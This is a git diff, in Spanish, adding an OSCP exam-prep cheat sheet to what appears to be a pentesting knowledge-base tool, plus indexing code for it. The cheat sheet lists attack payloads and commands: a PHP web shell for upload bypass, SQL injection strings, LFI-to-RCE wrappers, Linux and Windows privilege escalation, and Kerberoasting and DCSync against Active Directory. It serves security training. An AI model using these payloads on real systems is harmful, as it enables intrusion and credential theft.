+| ¿Cómo envío datos? | **Subes** con `python3 -m http.server`. **Recibo** con `impacket-smbserver`. |
+| ¿Cómo pivoto? | `ligolo-ng` (proxy en Kali + agent en víctima). Una vez montado, las herramientas tiran por el túnel transparente. |
+| ¿BloodHound? | `apt install bloodhound bloodhound.py neo4j`. |
+| ¿Mimikatz? | Descargado en `tu carpeta`. Se ejecuta **en la víctima**, no en Kali. |
+| ¿Impacket? | Instalado a nivel sistema (`impacket-*`). Corre en Kali, habla con víctimas. |
diff --git a/nucleo/saber/conocimiento/trucos_trampas.md b/nucleo/saber/conocimiento/trucos_trampas.md
new file mode 100644
index 0000000..f1ecc43
--- /dev/null
+++ b/nucleo/saber/conocimiento/trucos_trampas.md
@@ -0,0 +1,232 @@
+# Trucos y Trampas — OSCP / Pentest
+
+> Compilado de cultura pública (TJ Null, ippsec, 0xdf, Heath Adams, /r/oscp, HackTricks, foros HTB).
+> **No** son contenidos del Discord privado de OffSec ni material bajo NDA.
+> Son **anti-rabbit-holes**, **detalles olvidados** y **patrones que se repiten** en máquinas estilo OSCP.
+
+---
+
+## Trampas de enumeración (donde la gente pierde 4 horas)
+
+```
+─ Olvidar UDP ────────────────────────────────────────────
+   nmap -sU --top-ports 50 -T4 IP
+   SNMP (161), TFTP (69), NTP (123) suelen dar oro
+
+─ Olvidar puertos altos ──────────────────────────────────
+   nmap solo escanea top 1000 por defecto
+   SIEMPRE: nmap -p- --min-rate=5000 IP  (los 65535)
+
+─ Olvidar vhosts/subdominios ─────────────────────────────
+   Si te encuentras "default Apache page", prueba:
+   gobuster vhost -u http://IP -w /usr/share/seclists/Discovery/DNS/...
+   ffuf -H "Host: FUZZ.objetivo.htb" -u http://IP
+
+─ /etc/hosts no actualizado ──────────────────────────────
+   Si la web carga rara o redirige, mira el "Host:" header
+   Añade el dominio a /etc/hosts SIEMPRE que aparezca
+
+─ HTTPS revela hostnames ─────────────────────────────────
+   openssl s_client -connect IP:443
+   El cert te puede chivar el dominio real
+
+─ Wordlists pequeñas ─────────────────────────────────────
+   common.txt = junior level
+   Para OSCP: raft-large-words.txt, directory-list-2.3-medium.txt
+   gobuster -w /usr/share/seclists/Discovery/Web-Content/raft-large-...
+```
+
+---
+
+## Trampas web
+
+```
+─ "robots.txt es perezoso" ───────────────────────────────
+   Mira también: sitemap.xml, .git/, .svn/, .htaccess,
+   .DS_Store, backup/, old/, dev/, test/, admin/
+
+─ Source HTML / JS ───────────────────────────────────────
+   Ctrl+U siempre. Comentarios con creds, paths, endpoints
+   JS embebidos con APIs ocultas (LinkFinder, JSparser)
+
+─ LFI → RCE ──────────────────────────────────────────────
+   Si tienes LFI básico, prueba:
+     /proc/self/environ          (con User-Agent malicioso)
+     /var/log/apache2/access.log (poison + curl con UA payload)
+     php://filter/convert.base64-encode/resource=index.php
+     data://, expect://, phar:// (PHP wrappers)
+
+─ Upload "filtrado" ──────────────────────────────────────
+   Doble extensión: shell.php.jpg, shell.phtml, .phar, .pht
+   Magic bytes: GIF89a;<?php system($_GET['c']); ?>
+   Burp → cambia Content-Type a image/jpeg
+   .htaccess para reasignar handler
+
+─ SQLi sin sqlmap ────────────────────────────────────────
+   Aprende manual primero. sqlmap a veces miente.
+   Para login: ' OR '1'='1'-- - (con space-doble-dash-space)
+   Time-based: ' AND SLEEP(5)-- -
+```
+
+---
+
+## Trampas de shell
+
+```
+─ Shell rota = tortura ────────────────────────────────────
+   python3 -c 'import pty; pty.spawn("/bin/bash")'
+   Ctrl+Z
+   stty raw -echo; fg
+   export TERM=xterm
+   stty rows 40 columns 120
+   (rows/cols los sacas con "stty size" en TU kali)
+
+─ Listener equivocado ────────────────────────────────────
+   nc clásico para Linux victim
+   ncat --ssl para evitar IDS
+   stty raw -echo + nc para Windows ConPtyShell
+
+─ Egress filtering ───────────────────────────────────────
+   El firewall del objetivo bloquea ciertos puertos
+   PRUEBA: 80, 443, 8080, 53, 4444. Si nada, ICMP shell.
+```
+
+---
+
+## Privesc Linux — los 10 olvidados
+
+```
+1.  SUID exóticos     → find / -perm -4000 2>/dev/null
+                        (y luego GTFOBins cada uno)
+2.  sudo -l           → SIEMPRE primero, sin password
+3.  Capabilities      → getcap -r / 2>/dev/null
+                        (cap_setuid en python/perl = root)
+4.  Cron escribibles  → cat /etc/crontab, /var/spool/cron
+                        Scripts que tú puedes editar
+5.  Wildcard injection→ "tar czf /backup/* " con file --checkpoint
+6.  PATH abuse        → si un script SUID llama "ps" sin ruta
+                        absoluta, creas ./ps malicioso
+7.  NFS no_root_squash→ showmount -e ; montas y subes SUID
+8.  Docker group      → si estás en grupo "docker", eres root:
+                        docker run -v /:/mnt -it alpine chroot /mnt
+9.  Kernel exploits   → último recurso. DirtyCow, DirtyPipe
+                        (uname -a; searchsploit kernel x.x)
+10. Caps de archivo   → /var/backups, /etc/passwd escribible,
+                        /etc/shadow legible
+```
+
+---
+
+## Privesc Windows — los 10 olvidados
+
+```
+1.  whoami /priv      → busca SeImpersonate, SeAssignPrimaryToken
+                        → JuicyPotato, PrintSpoofer, GodPotato
+2.  Unquoted services → wmic service get name,pathname,startmode
+                        Path con espacios sin comillas + carpeta
+                        escribible = exe propio
+3.  AlwaysInstallElev → reg query HKLM\Software\Policies\Microsoft\
+                        Windows\Installer
+                        Si ambos = 1 → msi propio = SYSTEM
+4.  Service permisos  → accesschk.exe -uwcqv user *
+                        SERVICE_CHANGE_CONFIG = ownership
+5.  Credenciales en disco→ recurse find:
+                        Unattend.xml, sysprep.inf, web.config,
+                        cmdkey /list, registry SAM/SYSTEM
+6.  AutoLogon en regis→ HKLM\SOFTWARE\Microsoft\Windows NT\
+                        CurrentVersion\Winlogon
+7.  Pass spraying     → la misma pass del user normal contra
+                        admin, administrator, sa, sysadmin
+8.  WSL / OpenSSH server → veces hay credenciales en .bash_history
+9.  Scheduled tasks   → schtasks /query /fo LIST /v
+                        Tareas con scripts editables
+10. UAC bypass + token impersonation
+```
+
+---
+
+## Active Directory — los 7 caminos que SIEMPRE pruebas
+
+```
+1.  Anonymous SMB     → smbclient -L //IP -N
+                        nxc smb IP -u "" -p ""
+2.  AS-REP Roasting   → impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass
+                        (usuarios con "Do not require pre-auth")
+3.  Kerberoasting     → impacket-GetUserSPNs dominio/user:pass -request
+                        (cuentas de servicio con SPN)
+4.  GPP cpassword     → buscar en \\DC\SYSVOL\<dom>\Policies\
+                        Groups.xml con cpassword (rotos en clave AES fija)
+5.  LAPS              → nxc ldap IP -u u -p p --module laps
+6.  ACL abuses        → BloodHound te los pinta:
+                        GenericAll, WriteDACL, AddMember, ForceChangePassword
+7.  DCSync            → con permisos DS-Replication, dumpear todo el dominio
+```
+
+---
+
+## Trampas de "examen real" (anti-pánico)
+
+```
+─ Time management ────────────────────────────────────────
+   24h ≠ 24h. Duermes 6h. Comes. Te duchas.
+   Regla: 1.5h sin progreso = cambia de máquina.
+   Cierra y vuelve más tarde con cabeza fresca.
+
+─ Documentación EN VIVO ──────────────────────────────────
+   Captura TODO con Flameshot/Greenshot mientras lo haces.
+   No al final. Al final no recuerdas el comando exacto.
+   Cada flag con hostname visible (ipconfig/ifconfig).
+   local.txt = user proof, proof.txt = root proof.
+
+─ Reutilización de credenciales ──────────────────────────
+   La pass del usuario A muchas veces vale para usuario B.
+   PRUEBA siempre cada pass que pillas contra TODOS los hosts.
+
+─ El AD set es 40 puntos seguidos ────────────────────────
+   3 máquinas encadenadas. Si te atascas en máquina 1,
+   no avanzas en 2 y 3. Empieza por ahí con tiempo.
+
+─ Standalones independientes ─────────────────────────────
+   3 máquinas independientes de 20pts cada una.
+   user (10pt) + root (20pt). Saca user de las 3
+   ANTES de obsesionarte con root de una.
+
+─ Reporte cuenta ─────────────────────────────────────────
+   Sin reporte, no apruebas, aunque saques 100 puntos
+   técnicos. 24h después del examen. Markdown template:
+   https://github.com/noraj/OSCP-Exam-Report-Template-Markdown
+
+─ Metasploit limitado ────────────────────────────────────
+   Puedes usarlo solo en UNA máquina.
+   meterpreter post-explotation no cuenta como "uso"
+   solo el initial foothold cuenta.
+```
+
+---
+
+## Recursos públicos donde sí está todo esto
+
+| Recurso | Por qué importa |
+|---|---|
+| **TJ Null's OSCP-like list** (en Reddit) | Lista actualizada de máquinas HTB/THM equivalentes a OSCP |
+| **ippsec.rocks** | Buscador de writeups por técnica ("kerberoasting" → te lista todas las máquinas HTB donde aparece) |
+| **0xdf.gitlab.io** | Writeups detalladísimos con explicación pedagógica |
+| **PayloadsAllTheThings** | Cheatsheet de todo lo web |
+| **HackTricks (book.hacktricks.xyz)** | La biblia. Lo busques lo que busques está ahí |
+| **GTFOBins / LOLBAS** | Para privesc Linux y LOLBins Windows |
+| **/r/oscp** | Subreddit con experiencias de examinados (sin spoilers) |
+| **Discord públicos**: HTB, TryHackMe, NetSecFocus | Comunidades activas que SÍ puedes consultar |
+
+---
+
+## Truco meta de meta-trucos
+
+El truco real del OSCP no es saber 200 técnicas. Es **tener una metodología repetible**:
+
+```
+Enumeración exhaustiva → vector → foothold →
+PrivEsc con script automatizado + revisión manual →
+documentar antes de pasar a siguiente máquina
+```
+
+La gente suspende por **saltarse pasos** o por **obsesionarse con un vector**, no por desconocimiento técnico.
diff --git a/nucleo/saber/indexa.py b/nucleo/saber/indexa.py
index 993994a..03d30a2 100755
--- a/nucleo/saber/indexa.py
+++ b/nucleo/saber/indexa.py
@@ -191,9 +191,31 @@ def construye(solo_cuenta=False, solo_cofre=False):
                 print(f"    {len(sistema)} entradas de sistema...", flush=True)
         print(f"  LINUX          {n_cmd:4d} comandos   {n_srv} servidores   {n_nav} navegador")
 
-    todo = fichas + fragmentos + sistema
+    # El pack de metodologia que VIENE con el repo (conocimiento/). Es publico y
+    # esta scrubeado, asi que un clon recien hecho —sin apuntes propios de COFRE—
+    # ya sabe de pentesting. En la maquina del usuario se solapa con sus apuntes
+    # y el deduplicado de busca lo colapsa.
+    conocimiento = []
+    base_con = os.path.join(os.path.dirname(os.path.abspath(__file__)), "conocimiento")
+    if os.path.isdir(base_con):
+        for raiz, _, ficheros in os.walk(base_con):
+            m = re.match(r"^\d{2}\s*-\s*(.+)$", os.path.basename(raiz))
+            tema = m.group(1).strip().lower() if m else ""
+            for fich in ficheros:
+                if not fich.endswith(".md"):
+                    continue
+                for trozo in trocea(os.path.join(raiz, fich)):
+                    conocimiento.append({
+                        "tipo": "metodologia", "herramienta": fich[:-3],
+                        "perfil": "PENTESTERS", "tema": tema,
+                        "fichero": os.path.join("conocimiento", os.path.relpath(
+                            os.path.join(raiz, fich), base_con)),
+                        "texto": trozo})
+        print(f"  CONOCIMIENTO   {len(conocimiento):5d} fragmentos (pack del repo)")
+
+    todo = fichas + fragmentos + sistema + conocimiento
     print(f"\n  total: {len(fichas)} fichas + {len(fragmentos)} apuntes + "
-          f"{len(sistema)} sistema = {len(todo)} entradas")
+          f"{len(sistema)} sistema + {len(conocimiento)} conocimiento = {len(todo)} entradas")
     if solo_cuenta:
         return 0